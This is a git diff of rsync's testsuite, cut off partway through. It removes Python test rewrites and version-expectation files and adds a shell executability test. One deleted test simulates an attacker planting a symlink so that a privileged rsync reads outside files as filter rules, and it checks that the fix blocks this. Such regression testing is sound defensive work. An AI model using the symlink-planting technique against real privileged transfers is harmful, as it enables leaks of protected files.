a/testsuite/exclude_test.py b/testsuite/exclude_test.py\ndeleted file mode 100644\nindex f3469d2..0000000\n--- a/testsuite/exclude_test.py\n+++ /dev/null\n@@ -1,328 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/exclude.test (and, via a Makefile-built\n-# symlink, of exclude-lsh.test).\n-#\n-# Test rsync's exclude / include / filter rules, including the more\n-# obscure wildcard cases, per-directory filter files, CVS-style\n-# exclusions, --prune-empty-dirs, --delete-during / --delete-before /\n-# --delete-excluded, and rule-restricted filter files.\n-#\n-# The lsh.sh \"remote shell\" variant runs every transfer through the\n-# local rsync-over-ssh stand-in -- detected via sys.argv[0].\n-\n-import os\n-import subprocess\n-import sys\n-\n-from rsyncfns import (\n-    CHKDIR, FROMDIR, RSYNC, RSYNC_PEER, SCRATCHDIR, SRCDIR, TMPDIR, TODIR,\n-    all_plus, allspace, dots,\n-    checkdiff, checkit, makepath, rsync_argv, run_rsync, test_fail, rsync_path_arg, rsh_cmd,\n-)\n-\n-\n-os.environ['CVSIGNORE'] = '*.junk'\n-\n-script_name = os.path.basename(sys.argv[0] if sys.argv[0] else __file__)\n-if 'lsh' in script_name:\n-    os.environ['RSYNC_RSH'] = rsh_cmd()\n-    rpath = [f'--rsync-path={rsync_path_arg()}']\n-    host = 'lh:'\n-else:\n-    rpath = []\n-    host = ''\n-\n-\n-# Build the from/ tree.\n-makepath(\n-    FROMDIR / 'foo/down/to/you',\n-    FROMDIR / 'foo/sub',\n-    FROMDIR / 'bar/down/to/foo/too',\n-    FROMDIR / 'bar/down/to/bar/baz',\n-    FROMDIR / 'mid/for/foo/and/that/is/who',\n-    FROMDIR / 'new/keep/this',\n-    FROMDIR / 'new/lose/this',\n-)\n-\n-(FROMDIR / '.filt').write_text(\n-    \"exclude down\\n\"\n-    \": .filt-temp\\n\"\n-    \"clear\\n\"\n-    \"- .filt\\n\"\n-    \"- *.bak\\n\"\n-    \"- *.old\\n\"\n-)\n-(FROMDIR / 'foo' / 'file1').write_text(\"filtered-1\\n\")\n-(FROMDIR / 'foo' / 'file2').write_text(\"removed\\n\")\n-(FROMDIR / 'foo' / 'file2.old').write_text(\"cvsout\\n\")\n-(FROMDIR / 'foo' / '.filt').write_text(\"include .filt\\n- /file1\\n\")\n-(FROMDIR / 'foo' / 'sub' / 'file1').write_text(\"not-filtered-1\\n\")\n-\n-(FROMDIR / 'bar' / '.filt').write_text(\n-    \"- home-cvs-exclude\\n\"\n-    \"dir-merge .filt2\\n\"\n-    \"+ to\\n\"\n-)\n-(FROMDIR / 'bar' / 'down' / 'to' / 'home-cvs-exclude').write_text(\"cvsout\\n\")\n-(FROMDIR / 'bar' / 'down' / 'to' / '.filt2').write_text(\"- .filt2\\n\")\n-(FROMDIR / 'bar' / 'down' / 'to' / 'foo' / '.filt2').write_text(\"+ *.junk\\n\")\n-(FROMDIR / 'bar' / 'down' / 'to' / 'foo' / 'file1').write_text(\"keeper\\n\")\n-(FROMDIR / 'bar' / 'down' / 'to' / 'foo' / 'file1.bak').write_text(\"cvsout\\n\")\n-(FROMDIR / 'bar' / 'down' / 'to' / 'foo' / 'file3').write_text(\"gone\\n\")\n-(FROMDIR / 'bar' / 'down' / 'to' / 'foo' / 'file4').write_text(\"lost\\n\")\n-(FROMDIR / 'bar' / 'down' / 'to' / 'foo' / '+ file3').write_text(\"weird\\n\")\n-(FROMDIR / 'bar' / 'down' / 'to' / 'foo' / 'file4.junk').write_text(\"cvsout-but-filtin\\n\")\n-(FROMDIR / 'bar' / 'down' / 'to' / 'foo' / 'to').write_text(\"smashed\\n\")\n-(FROMDIR / 'bar' / 'down' / 'to' / 'bar' / '.filt2').write_text(\"- *.deep\\n\")\n-(FROMDIR / 'bar' / 'down' / 'to' / 'bar' / 'baz' / 'file5.deep').write_text(\"filtout\\n\")\n-\n-# This one should be ineffectual.\n-(FROMDIR / 'mid' / '.filt2').write_text(\"- extra\\n\")\n-(FROMDIR / 'mid' / 'one-in-one-out').write_text(\"cvsout\\n\")\n-(FROMDIR / 'mid' / '.cvsignore').write_text(\"one-in-one-out\\n\")\n-(FROMDIR / 'mid' / 'one-for-all').write_text(\"cvsin\\n\")\n-(FROMDIR / 'mid' / '.filt').write_text(\":C\\n\")\n-(FROMDIR / 'mid' / 'for' / 'one-in-one-out').write_text(\"cvsin\\n\")\n-(FROMDIR / 'mid' / 'for' / 'foo' / 'extra').write_text(\"expunged\\n\")\n-(FROMDIR / 'mid' / 'for' / 'foo' / 'keep').write_text(\"retained\\n\")\n-\n-\n-# Setup our test exclude/include files.\n-excl = SCRATCHDIR / 'exclude-from'\n-excl.write_text(\n-    \"!\\n\"\n-    \"# If the second line of these two lines does anything, it's a bug.\\n\"\n-    \"+ **/bar\\n\"\n-    \"- /bar\\n\"\n-    \"# This should match against the whole path, not just the name.\\n\"\n-    \"+ foo**too\\n\"\n-    \"# These should float at the end of the path.\\n\"\n-    \"+ foo/s?b/\\n\"\n-    \"- foo/*/\\n\"\n-    \"# Test how /** differs from /***\\n\"\n-    \"- new/keep/**\\n\"\n-    \"- new/lose/***\\n\"\n-    \"# Test some normal excludes. Competing lines are paired.\\n\"\n-    \"+ t[o]/\\n\"\n-    \"- to\\n\"\n-    \"+ file4\\n\"\n-    \"- file[2-9]\\n\"\n-    \"- /mid/for/foo/extra\\n\"\n-)\n-\n-(SCRATCHDIR / '.cvsignore').write_text(\"home-cvs-exclude\\n\")\n-\n-\n-# --- main checks ------------------------------------------------------------\n-\n-# Start with a check of --prune-empty-dirs.\n-run_rsync('-av', f'--rsync-path={rsync_path_arg()}',\n-          '-f', '-_foo/too/', '-f', '-_foo/down/',\n-          '-f', '-_foo/and/', '-f', '-_new/',\n-          f'{host}{FROMDIR}/', f'{CHKDIR}/')\n-\n-checkit(['-av', *rpath, '--prune-empty-dirs',\n-         f'{host}{FROMDIR}/', f'{TODIR}/'], CHKDIR, TODIR)\n-\n-import shutil\n-shutil.rmtree(TODIR, ignore_errors=True)\n-\n-# Add a directory symlink.\n-os.symlink('too', FROMDIR / 'bar' / 'down' / 'to' / 'foo' / 'sym')\n-\n-# Pre-build an --update test pair.\n-up1 = SCRATCHDIR / 'up1'\n-up2 = SCRATCHDIR / 'up2'\n-up1.mkdir()\n-up2.mkdir()\n-(up1 / 'dst-newness').touch()\n-(up2 / 'src-newness').touch()\n-same_src = up1 / 'same-newness'\n-same_dst = up2 / 'same-newness'\n-same_src.touch()\n-same_dst.touch()\n-# Give both files the same mtime; otherwise two touch calls could straddle a\n-# second boundary and --update would see the destination as newer.\n-src_stat = same_src.stat()\n-dst_stat = same_dst.stat()\n-os.utime(same_dst, ns=(dst_stat.st_atime_ns, src_stat.st_mtime_ns))\n-(up1 / 'extra-src').touch()\n-(up2 / 'extra-dest').touch()\n-\n-# Build CHKDIR mirroring source (everything), then remove the entries we\n-# expect to be excluded.\n-checkit(['-avv', *rpath, f'{host}{FROMDIR}/', f'{CHKDIR}/'], FROMDIR, CHKDIR)\n-import time\n-time.sleep(1)\n-shutil.rmtree(CHKDIR / 'foo' / 'down', ignore_errors=True)\n-shutil.rmtree(CHKDIR / 'mid' / 'for' / 'foo' / 'and', ignore_errors=True)\n-shutil.rmtree(CHKDIR / 'new' / 'keep' / 'this', ignore_errors=True)\n-shutil.rmtree(CHKDIR / 'new' / 'lose', ignore_errors=True)\n-for f in (CHKDIR / 'foo').glob('file[235-9]'):\n-    f.unlink()\n-(CHKDIR / 'bar' / 'down' / 'to' / 'foo' / 'to').unlink()\n-for f in (CHKDIR / 'bar' / 'down' / 'to' / 'foo').glob('file[235-9]'):\n-    f.unlink()\n-(CHKDIR / 'mid' / 'for' / 'foo' / 'extra').unlink()\n-\n-(up1 / 'src-newness').touch()\n-(up2 / 'dst-newness').touch()\n-\n-# Un-tweak the directory times in our first (weak) exclude test.\n-run_rsync('-av', f'--rsync-path={rsync_path_arg()}',\n-          '--existing', '--include=*/', '--exclude=*',\n-          f'{host}{FROMDIR}/', f'{CHKDIR}/')\n-\n-# Test that rsync excludes the same files.\n-checkit(['-avv', *rpath, f'--exclude-from={excl}',\n-         '--delete-during', f'{host}{FROMDIR}/', f'{TODIR}/'],\n-        CHKDIR, TODIR)\n-\n-# Modify the chk dir by removing cvs-ignored files and tweaking dir times.\n-for f in (CHKDIR / 'foo').glob('*.old'):\n-    f.unlink()\n-for f in (CHKDIR / 'bar' / 'down' / 'to' / 'foo').glob('*.bak'):\n-    f.unlink()\n-for f in (CHKDIR / 'bar' / 'down' / 'to' / 'foo').glob('*.junk'):\n-    f.unlink()\n-(CHKDIR / 'bar' / 'down' / 'to' / 'home-cvs-exclude').unlink()\n-(CHKDIR / 'mid' / 'one-in-one-out').unlink()\n-\n-run_rsync('-av', f'--rsync-path={rsync_path_arg()}',\n-          '--existing', '--filter=exclude,! */',\n-          f'{host}{FROMDIR}/', f'{CHKDIR}/')\n-\n-# Now test --cvs-exclude + --delete-excluded.\n-# -C order differs between push/pull, so use -f :C / -f -C explicitly.\n-checkit(['-avv', *rpath, f'--filter=merge {excl}',\n-         '-f:C', '-f-C', '--delete-excluded', '--delete-during',\n-         f'{host}{FROMDIR}/', f'{TODIR}/'],\n-        CHKDIR, TODIR)\n-\n-# Modify the chk dir for the merge-exclude test.\n-(CHKDIR / 'foo' / 'file1').unlink()\n-for f in (CHKDIR / 'bar' / 'down' / 'to' / 'bar' / 'baz').glob('*.deep'):\n-    f.unlink()\n-for src in (FROMDIR / 'bar' / 'down' / 'to' / 'foo').glob('*.junk'):\n-    cp_touch_dst = CHKDIR / 'bar' / 'down' / 'to' / 'foo'\n-    cp_touch_dst.mkdir(exist_ok=True)\n-    from rsyncfns import cp_touch\n-    cp_touch(src, cp_touch_dst)\n-from rsyncfns import cp_touch\n-cp_touch(FROMDIR / 'bar' / 'down' / 'to' / 'foo' / 'to',\n-         CHKDIR / 'bar' / 'down' / 'to' / 'foo')\n-\n-run_rsync('-av', f'--rsync-path={rsync_path_arg()}',\n-          '--existing', '-f', 'show .filt*', '-f', 'hide,! */', '--del',\n-          f'{host}{FROMDIR}/', f'{TODIR}/')\n-\n-(TODIR / 'bar' / 'down' / 'to' / 'bar' / 'baz' / 'nodel.deep').write_text(\"retained\\n\")\n-cp_touch(TODIR / 'bar' / 'down' / 'to' / 'bar' / 'baz' / 'nodel.deep',\n-         CHKDIR / 'bar' / 'down' / 'to' / 'bar' / 'baz')\n-\n-run_rsync('-av', f'--rsync-path={rsync_path_arg()}',\n-          '--existing', '--filter=-! */',\n-          f'{host}{FROMDIR}/', f'{CHKDIR}/')\n-\n-\n-# Test merge-exclude file. The shell test piped excl-minus-bangs into\n-# rsync via stdin; here we materialise the filtered file and merge it.\n-filtered_excl = SCRATCHDIR / 'exclude-from-filtered'\n-filtered_excl.write_text(\n-    '\\n'.join(ln for ln in excl.read_text().splitlines() if '!' not in ln)\n-    + '\\n'\n-)\n-\n-\n-def run_with_stdin_filter(args, label=\"merge\"):\n-    \"\"\"Run rsync with `args`, feeding `filtered_excl` content on stdin\n-    (which `merge_-` in the filter list picks up). checkit-equivalent\n-    that also re-uses CHKDIR/TODIR for the listing comparison.\"\"\"\n-    print(f\"Running: rsync {' '.join(args)}\")\n-    with open(filtered_excl, 'rb') as inp:\n-        proc = subprocess.run(rsync_argv(*args), stdin=inp)\n-    if proc.returncode != 0:\n-        test_fail(f\"{label}: rsync exited {proc.returncode}\")\n-\n-\n-run_with_stdin_filter(\n-    ['-avv', *rpath, '-f', 'dir-merge_.filt', '-f', 'merge_-',\n-     '--delete-during', f'{host}{FROMDIR}/', f'{TODIR}/'],\n-    \"dir-merge .filt + merge from stdin\",\n-)\n-from rsyncfns import verify_dirs\n-verify_dirs(CHKDIR, TODIR, label=\"dir-merge + merge-from-stdin\")\n-\n-\n-# Remove the files that will be deleted.\n-(CHKDIR / '.filt').unlink()\n-(CHKDIR / 'bar' / '.filt').unlink()\n-(CHKDIR / 'bar' / 'down' / 'to' / '.filt2').unlink()\n-(CHKDIR / 'bar' / 'down' / 'to' / 'foo' / '.filt2').unlink()\n-(CHKDIR / 'bar' / 'down' / 'to' / 'bar' / '.filt2').unlink()\n-(CHKDIR / 'mid' / '.filt').unlink()\n-\n-run_rsync('-av', f'--rsync-path={rsync_path_arg()}',\n-          '--existing', '--include=*/', '--exclude=*',\n-          f'{host}{FROMDIR}/', f'{CHKDIR}/')\n-\n-# Run the prior command with --delete-before and side-specific rules.\n-run_with_stdin_filter(\n-    ['-avv', *rpath, '-f', ':s_.filt', '-f', '.s_-',\n-     '-f', 'P_nodel.deep',\n-     '--delete-before', f'{host}{FROMDIR}/', f'{TODIR}/'],\n-    \"delete-before with merge\",\n-)\n-verify_dirs(CHKDIR, TODIR, label=\"delete-before with merge\")\n-\n-\n-# Rule-restricted filter files.\n-(FROMDIR / 'bar' / 'down' / '.excl').write_text(\"file3\\n\")\n-(FROMDIR / 'bar' / 'down' / 'to' / 'foo' / '.excl').write_text(\n-    \"+ file3\\n*.bak\\n\"\n-)\n-\n-run_rsync('-av', f'--rsync-path={rsync_path_arg()}',\n-          '--del', f'{host}{FROMDIR}/', f'{CHKDIR}/')\n-(CHKDIR / 'bar' / 'down' / 'to' / 'foo' / 'file1.bak').unlink()\n-(CHKDIR / 'bar' / 'down' / 'to' / 'foo' / 'file3').unlink()\n-(CHKDIR / 'bar' / 'down' / 'to' / 'foo' / '+ file3').unlink()\n-run_rsync('-av', f'--rsync-path={rsync_path_arg()}',\n-          '--existing', '--filter=-! */',\n-          f'{host}{FROMDIR}/', f'{CHKDIR}/')\n-run_rsync('-av', f'--rsync-path={rsync_path_arg()}',\n-          '--delete-excluded', '--exclude=*',\n-          f'{host}{FROMDIR}/', f'{TODIR}/')\n-\n-checkit(['-avv', *rpath, '-f', 'dir-merge,-_.excl',\n-         f'{host}{FROMDIR}/', f'{TODIR}/'], CHKDIR, TODIR)\n-\n-\n-# Combine with --relative.\n-relative_opts = ['--relative', '--chmod=Du+w', '--copy-unsafe-links']\n-run_rsync('-av', f'--rsync-path={rsync_path_arg()}', *relative_opts,\n-          f'{host}{FROMDIR}/foo', f'{CHKDIR}/')\n-shutil.rmtree(str(CHKDIR) + str(FROMDIR) + '/foo/down', ignore_errors=True)\n-run_rsync('-av', *relative_opts, '--existing', '--filter=-! */',\n-          f'{FROMDIR}/foo', f'{CHKDIR}/')\n-\n-checkit(['-avv', *rpath, *relative_opts,\n-         f'--exclude={FROMDIR}/foo/down',\n-         f'{host}{FROMDIR}/foo', str(TODIR)],\n-        str(CHKDIR) + str(FROMDIR) + '/foo',\n-        str(TODIR) + str(FROMDIR) + '/foo')\n-\n-\n-# --update test.\n-checkdiff(\n-    ['-aiiO', *rpath, '--update', '--info=skip',\n-     f'{host}{SCRATCHDIR}/up1/', f'{SCRATCHDIR}/up2/'],\n-    \"dst-newness is newer\\n\"\n-    f\">f{all_plus} extra-src\\n\"\n-    f\".f{allspace} same-newness\\n\"\n-    f\">f..t.{dots} src-newness\\n\",\n-    filter=lambda txt: '\\n'.join(\n-        ln for ln in txt.splitlines()\n-        if not ln.startswith('.d' + allspace)\n-    ) + ('\\n' if txt else ''),\n-)\ndiff --git a/testsuite/excludefrom-symlink_test.py b/testsuite/excludefrom-symlink_test.py\ndeleted file mode 100644\nindex 00bb95d..0000000\n--- a/testsuite/excludefrom-symlink_test.py\n+++ /dev/null\n@@ -1,120 +0,0 @@\n-#!/usr/bin/env python3\n-# --exclude-from / --include-from / --files-from / --filter=. file must not\n-# follow planted symlinks at attacker-controlled path components.\n-#\n-# Threat:\n-# privileged rsync reads from a planted symlink → file contents become\n-# filter rules / file list → silent transfer shaping, content leak via\n-# -v / -i / --debug output.\n-#\n-# Signal in this test (--exclude-from variant): the planted file's content\n-# is the basename of a \"canary\" file we placed in src. With the leak, rsync\n-# parses the planted content as an exclude rule and drops the canary from\n-# the transfer. With the fix, rsync errors on the planted symlink open\n-# (XFLG_FATAL_ERRORS at options.c:1543 + exclude.c:1477).\n-#\n-# Failure condition: returncode == 0 AND canary missing from dest. The only\n-# way that combination arises is if rsync read the planted symlink's target\n-# as filter rules. With the fix, rsync exits non-zero; with no leak at all,\n-# the canary transfers.\n-#\n-# 1.5 (-C $HOME/.cvsignore) is covered by the same fix code path\n-# (parse_filter_file callee shared with 1.1's per-dir merge); we don't\n-# duplicate that test here. The XFLG flag differs (1.5 is silent-skip,\n-# 1.4 is FATAL) but the open primitive is the same.\n-#\n-# Requires root for the cross-uid plant; skips otherwise.\n-\n-import os\n-import pwd\n-import subprocess\n-\n-from rsyncfns import SCRATCHDIR, rmtree, rsync_argv, test_fail, test_skipped\n-\n-\n-if os.geteuid() != 0:\n-    test_skipped(\"requires root to plant a symlink owned by a non-self uid \"\n-                 \"(the attacker simulation)\")\n-\n-NOBODY_UID = None\n-for name in ('nobody', 'nfsnobody', 'daemon'):\n-    try:\n-        u = pwd.getpwnam(name).pw_uid\n-        if u != 0 and u != os.geteuid():\n-            NOBODY_UID = u\n-            break\n-    except KeyError:\n-        continue\n-if NOBODY_UID is None:\n-    test_skipped(\"no untrusted-uid user available for cross-uid plant\")\n-\n-\n-base = SCRATCHDIR / 'excludefrom'\n-src = base / 'src'\n-dest = base / 'dest'\n-outside = base / 'outside'\n-\n-rmtree(base)\n-src.mkdir(parents=True)\n-(src / 'canary_file').write_text(\"would-be-transferred\\n\")\n-(src / 'other_file').write_text(\"noise\\n\")\n-dest.mkdir(parents=True)\n-outside.mkdir(parents=True)\n-\n-# Outside attacker-readable content: a CVS-style pattern that matches\n-# src/canary_file. If rsync follows the planted symlink and parses this as\n-# filter rules, it adds an exclude rule that drops canary_file.\n-(outside / 'exclude_list').write_text(\"canary_file\\n\")\n-\n-\n-def run_excludefrom(plant_path):\n-    rmtree(dest)\n-    dest.mkdir(parents=True)\n-    return subprocess.run(\n-        rsync_argv('-a', '--exclude-from=' + str(plant_path),\n-                   f'{src}/', f'{dest}/'),\n-        stdout=subprocess.DEVNULL, stderr=subprocess.PIPE, text=True)\n-\n-\n-plants = base / 'plants'\n-plants.mkdir()\n-\n-\n-# ---------------------------------------------------------------------------\n-# LEAF plant\n-# ---------------------------------------------------------------------------\n-leaf_plant = plants / 'exclude_leaf'\n-os.symlink(outside / 'exclude_list', leaf_plant)\n-os.lchown(leaf_plant, NOBODY_UID, NOBODY_UID)\n-\n-leaf = run_excludefrom(leaf_plant)\n-canary = dest / 'canary_file'\n-if leaf.returncode == 0 and not canary.exists():\n-    test_fail(\n-        f\"--exclude-from followed a planted LEAF symlink (owned by uid \"\n-        f\"{NOBODY_UID}): rsync read the symlink's target as filter rules and \"\n-        f\"applied the leaked pattern, dropping src/canary_file from the \"\n-        f\"transfer. Fix: refuse planted symlinks at --exclude-from.\")\n-\n-\n-# ---------------------------------------------------------------------------\n-# PARENT-component plant\n-# ---------------------------------------------------------------------------\n-real_target = plants / 'parent_real_target'\n-real_target.mkdir()\n-(real_target / 'exclude_list').write_text(\"canary_file\\n\")\n-\n-parent_plant = plants / 'parent_link'\n-os.symlink(real_target, parent_plant)\n-os.lchown(parent_plant, NOBODY_UID, NOBODY_UID)\n-\n-parent = run_excludefrom(parent_plant / 'exclude_list')\n-canary = dest / 'canary_file'\n-if parent.returncode == 0 and not canary.exists():\n-    test_fail(\n-        f\"--exclude-from followed a planted PARENT-component symlink (owned \"\n-        f\"by uid {NOBODY_UID}): {parent_plant} -> {real_target} was \"\n-        f\"traversed and the leaked exclude_list was applied, dropping \"\n-        f\"canary_file from the transfer. /tmp/somedir/-class parent-flip \"\n-        \"that plain O_NOFOLLOW does NOT defend. Fix: per-component path walk \"\n-        \"with parent-symlink ownership check.\")\ndiff --git a/testsuite/executability.test b/testsuite/executability.test\nnew file mode 100644\nindex 0000000..8f09d8f\n--- /dev/null\n+++ b/testsuite/executability.test\n@@ -0,0 +1,47 @@\n+#!/bin/sh\n+\n+# This program is distributable under the terms of the GNU GPL (see\n+# COPYING).\n+\n+# Test the --executability or -E option. -- Matt McCutchen\n+\n+. $suitedir/rsync.fns\n+\n+# Put some files in the From directory\n+mkdir \"$fromdir\"\n+cat <<EOF >\"$fromdir/1\"\n+#!/bin/sh\n+echo 'Program One!'\n+EOF\n+cat <<EOF >\"$fromdir/2\"\n+#!/bin/sh\n+echo 'Program Two!'\n+EOF\n+\n+chmod 1700 \"$fromdir/1\" || test_skipped \"Can't chmod\"\n+chmod 600 \"$fromdir/2\"\n+\n+$RSYNC -rvv \"$fromdir/\" \"$todir/\"\n+\n+check_perms \"$todir/1\" rwx------ 1\n+check_perms \"$todir/2\" rw------- 1\n+\n+# Mix up the permissions a bit\n+chmod 600 \"$fromdir/1\"\n+chmod 601 \"$fromdir/2\"\n+chmod 604 \"$todir/2\"\n+\n+$RSYNC -rvv \"$fromdir/\" \"$todir/\"\n+\n+# No -E, so nothing should have changed\n+check_perms \"$todir/1\" rwx------ 2\n+check_perms \"$todir/2\" rw----r-- 2\n+\n+$RSYNC -rvvE \"$fromdir/\" \"$todir/\"\n+\n+# Now things should have happened!\n+check_perms \"$todir/1\" rw------- 3\n+check_perms \"$todir/2\" rwx---r-x 3\n+\n+# Hooray\n+exit 0\ndiff --git a/testsuite/executability_test.py b/testsuite/executability_test.py\ndeleted file mode 100644\nindex 13f7a77..0000000\n--- a/testsuite/executability_test.py\n+++ /dev/null\n@@ -1,49 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/executability.test.\n-#\n-# Test --executability (-E): -E should propagate only the executable bits\n-# from source to destination (other permission changes ignored), while a\n-# normal copy without -E should leave the destination permissions alone.\n-\n-import errno\n-import os\n-\n-from rsyncfns import FROMDIR, TODIR, check_perms, run_rsync, test_skipped\n-\n-\n-FROMDIR.mkdir(parents=True, exist_ok=True)\n-(FROMDIR / '1').write_text(\"#!/bin/sh\\necho 'Program One!'\\n\")\n-(FROMDIR / '2').write_text(\"#!/bin/sh\\necho 'Program Two!'\\n\")\n-\n-# Setuid-and-rwx for owner, nothing else. Some platforms reject 1700 for\n-# non-root callers (no permission to set sticky); FreeBSD rejects it with\n-# EFTYPE rather than EPERM. Only skip on those; re-raise anything unexpected.\n-_STICKY_SKIP_ERRNOS = {errno.EPERM, errno.EACCES, getattr(errno, 'EFTYPE', None)}\n-try:\n-    os.chmod(FROMDIR / '1', 0o1700)\n-except OSError as e:\n-    if e.errno not in _STICKY_SKIP_ERRNOS:\n-        raise\n-    test_skipped(\"Can't chmod\")\n-os.chmod(FROMDIR / '2', 0o600)\n-\n-run_rsync('-rvv', f'{FROMDIR}/', f'{TODIR}/')\n-\n-check_perms(TODIR / '1', 'rwx------')\n-check_perms(TODIR / '2', 'rw-------')\n-\n-# Permute the source/destination perms; without -E nothing should change.\n-os.chmod(FROMDIR / '1', 0o600)\n-os.chmod(FROMDIR / '2', 0o601)\n-os.chmod(TODIR / '2', 0o604)\n-\n-run_rsync('-rvv', f'{FROMDIR}/', f'{TODIR}/')\n-\n-check_perms(TODIR / '1', 'rwx------')\n-check_perms(TODIR / '2', 'rw----r--')\n-\n-# Now with -E: 1 loses its x (source has 600), 2 gains x (source has 601).\n-run_rsync('-rvvE', f'{FROMDIR}/', f'{TODIR}/')\n-\n-check_perms(TODIR / '1', 'rw-------')\n-check_perms(TODIR / '2', 'rwx---r-x')\ndiff --git a/testsuite/exitcodes.py b/testsuite/exitcodes.py\ndeleted file mode 100644\nindex faf3efc..0000000\n--- a/testsuite/exitcodes.py\n+++ /dev/null\n@@ -1,17 +0,0 @@\n-\"\"\"Exit codes a test reports to runtests.py (autotools test convention).\n-\n-Shared by runtests.py (the harness, which reads these from each test) and\n-rsyncfns.py (the helpers, which exit with them) so the 0/1/2/77/78 values are\n-named in exactly one place.  This module has no import-time side effects, so\n-runtests.py can import it without pulling in rsyncfns's environment checks.\n-\"\"\"\n-\n-import enum\n-\n-\n-class Exit(enum.IntEnum):\n-    PASS = 0\n-    FAIL = 1\n-    ERROR = 2     # the test could not run (e.g. missing environment)\n-    SKIP = 77\n-    XFAIL = 78    # expected failure: a known, documented residual\ndiff --git a/testsuite/expect/rsync_2.6.0.expect b/testsuite/expect/rsync_2.6.0.expect\ndeleted file mode 100644\nindex d4df2c9..0000000\n--- a/testsuite/expect/rsync_2.6.0.expect\n+++ /dev/null\n@@ -1,35 +0,0 @@\n-# Expected outcomes for current rsync <-> rsync 2.6.0 peer (protocol 27).\n-# See rsync_3.1.3.expect for format/semantics; listed tests are the run set.\n-# 2.6.0 predates much of the suite; many daemon/feature tests are expected\n-# to fail (xfail) -- a documented old-peer gap, not a current-side bug.\n-# The four *-symlink-race / sender-flist-symlink-leak xfails show the peer\n-# is vulnerable to the May-2026 findings that current master fixes.\n-\n-00-hello                     xfail   # feature/negotiation absent in 2.6.0 (proto 27)\n-alt-dest                     xfail   # peer vulnerable to May-2026 finding (fixed in current)\n-alt-dest-symlink-race        xfail   # peer vulnerable to May-2026 finding (fixed in current)\n-bare-do-open-symlink-race    pass\n-batch-mode                   xfail   # feature/negotiation absent in 2.6.0 (proto 27)\n-chdir-symlink-race           xfail   # peer vulnerable to May-2026 finding (fixed in current)\n-chmod-option                 xfail   # feature/negotiation absent in 2.6.0 (proto 27)\n-copy-dest-source-symlink     xfail   # peer vulnerable to May-2026 finding (fixed in current)\n-daemon                       xfail   # feature/negotiation absent in 2.6.0 (proto 27)\n-daemon-access                xfail   # feature/negotiation absent in 2.6.0 (proto 27)\n-daemon-auth                  pass\n-daemon-config                xfail   # feature/negotiation absent in 2.6.0 (proto 27)\n-daemon-exec                  xfail   # feature/negotiation absent in 2.6.0 (proto 27)\n-daemon-filter                xfail   # feature/negotiation absent in 2.6.0 (proto 27)\n-daemon-gzip-download         xfail   # feature/negotiation absent in 2.6.0 (proto 27)\n-daemon-gzip-upload           xfail   # feature/negotiation absent in 2.6.0 (proto 27)\n-daemon-munge                 xfail   # feature/negotiation absent in 2.6.0 (proto 27)\n-daemon-refuse                xfail   # feature/negotiation absent in 2.6.0 (proto 27)\n-daemon-refuse-compress       xfail   # feature/negotiation absent in 2.6.0 (proto 27)\n-exclude                      pass\n-files-from                   xfail   # feature/negotiation absent in 2.6.0 (proto 27)\n-hardlinks                    pass\n-reverse-daemon-delta         pass\n-sender-flist-symlink-leak    xfail   # peer vulnerable to May-2026 finding (fixed in current)\n-ssh-basic                    pass\n-variety                      xfail   # specials/devices split & keep-dirlinks absent in 2.6.0 (proto 27)\n-variety-symlink-traversal    xfail   # keep-dirlinks absent in 2.6.0 (proto 27)\n-symlink-dirlink-basis        xfail   # feature/negotiation absent in 2.6.0 (proto 27)\ndiff --git a/testsuite/expect/rsync_3.0.0.expect b/testsuite/expect/rsync_3.0.0.expect\ndeleted file mode 100644\nindex 8a4333e..0000000\n--- a/testsuite/expect/rsync_3.0.0.expect\n+++ /dev/null\n@@ -1,35 +0,0 @@\n-# Expected outcomes for current rsync <-> rsync 3.0.0 peer (protocol 30).\n-# See rsync_3.1.3.expect for format/semantics; listed tests are the run set.\n-# 3.0.0 predates much of the suite; many daemon/feature tests are expected\n-# to fail (xfail) -- a documented old-peer gap, not a current-side bug.\n-# The four *-symlink-race / sender-flist-symlink-leak xfails show the peer\n-# is vulnerable to the May-2026 findings that current master fixes.\n-\n-00-hello                     pass\n-alt-dest                     pass\n-alt-dest-symlink-race        xfail   # peer vulnerable to May-2026 finding (fixed in current)\n-bare-do-open-symlink-race    pass\n-batch-mode                   xfail   # feature/negotiation absent in 3.0.0 (proto 30)\n-chdir-symlink-race           xfail   # peer vulnerable to May-2026 finding (fixed in current)\n-chmod-option                 xfail   # feature/negotiation absent in 3.0.0 (proto 30)\n-copy-dest-source-symlink     xfail   # peer vulnerable to May-2026 finding (fixed in current)\n-daemon                       xfail   # feature/negotiation absent in 3.0.0 (proto 30)\n-daemon-access                pass\n-daemon-auth                  pass\n-daemon-config                xfail   # feature/negotiation absent in 3.0.0 (proto 30)\n-daemon-exec                  pass\n-daemon-filter                xfail   # feature/negotiation absent in 3.0.0 (proto 30)\n-daemon-gzip-download         xfail   # feature/negotiation absent in 3.0.0 (proto 30)\n-daemon-gzip-upload           xfail   # feature/negotiation absent in 3.0.0 (proto 30)\n-daemon-munge                 pass\n-daemon-refuse                xfail   # feature/negotiation absent in 3.0.0 (proto 30)\n-daemon-refuse-compress       pass\n-exclude                      pass\n-files-from                   pass\n-hardlinks                    pass\n-reverse-daemon-delta         pass\n-sender-flist-symlink-leak    xfail   # peer vulnerable to May-2026 finding (fixed in current)\n-ssh-basic                    pass\n-variety                      pass\n-variety-symlink-traversal    pass\n-symlink-dirlink-basis        pass\ndiff --git a/testsuite/expect/rsync_3.1.0.expect b/testsuite/expect/rsync_3.1.0.expect\ndeleted file mode 100644\nindex 9a4438d..0000000\n--- a/testsuite/expect/rsync_3.1.0.expect\n+++ /dev/null\n@@ -1,35 +0,0 @@\n-# Expected outcomes for current rsync <-> rsync 3.1.0 peer (protocol 31).\n-# See rsync_3.1.3.expect for format/semantics; listed tests are the run set.\n-# 3.1.0 predates much of the suite; many daemon/feature tests are expected\n-# to fail (xfail) -- a documented old-peer gap, not a current-side bug.\n-# The four *-symlink-race / sender-flist-symlink-leak xfails show the peer\n-# is vulnerable to the May-2026 findings that current master fixes.\n-\n-00-hello                     pass\n-alt-dest                     pass\n-alt-dest-symlink-race        xfail   # peer vulnerable to May-2026 finding (fixed in current)\n-bare-do-open-symlink-race    pass\n-batch-mode                   pass\n-chdir-symlink-race           xfail   # peer vulnerable to May-2026 finding (fixed in current)\n-chmod-option                 pass\n-copy-dest-source-symlink     xfail   # peer vulnerable to May-2026 finding (fixed in current)\n-daemon                       xfail   # feature/negotiation absent in 3.1.0 (proto 31)\n-daemon-access                